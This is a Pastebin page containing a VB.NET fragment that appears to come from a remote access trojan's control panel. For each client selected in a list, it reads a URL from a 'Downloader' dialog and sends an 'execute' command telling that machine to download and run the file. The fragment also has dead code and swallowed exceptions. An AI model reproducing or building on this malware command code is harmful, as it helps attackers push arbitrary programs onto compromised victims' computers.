Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Try
- If Lv1.SelectedItems.Count > 0 Then
- Dim x() As USER
- For i = 0 To Lv1.SelectedItems.Count
- Next
- End If
- Downloader.ShowDialog() ':)
- Dim FCD As String = Downloader.TextBox1.Text
- Dim enumerator As IEnumerator
- Try
- enumerator = Me.Lv1.SelectedItems.GetEnumerator
- Do While enumerator.MoveNext
- Dim user As USER = DirectCast(NewLateBinding.LateGet(RuntimeHelpers.GetObjectValue(enumerator.Current), Nothing, "tag", New Object(0 - 1) {}, Nothing, Nothing, Nothing), USER)
- Dim JKL As New Downloader
- user.Send(Me.httpconvert("execute" & Me.Y & FCD))
- Loop
- Finally
- End Try
- Catch : End Try
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement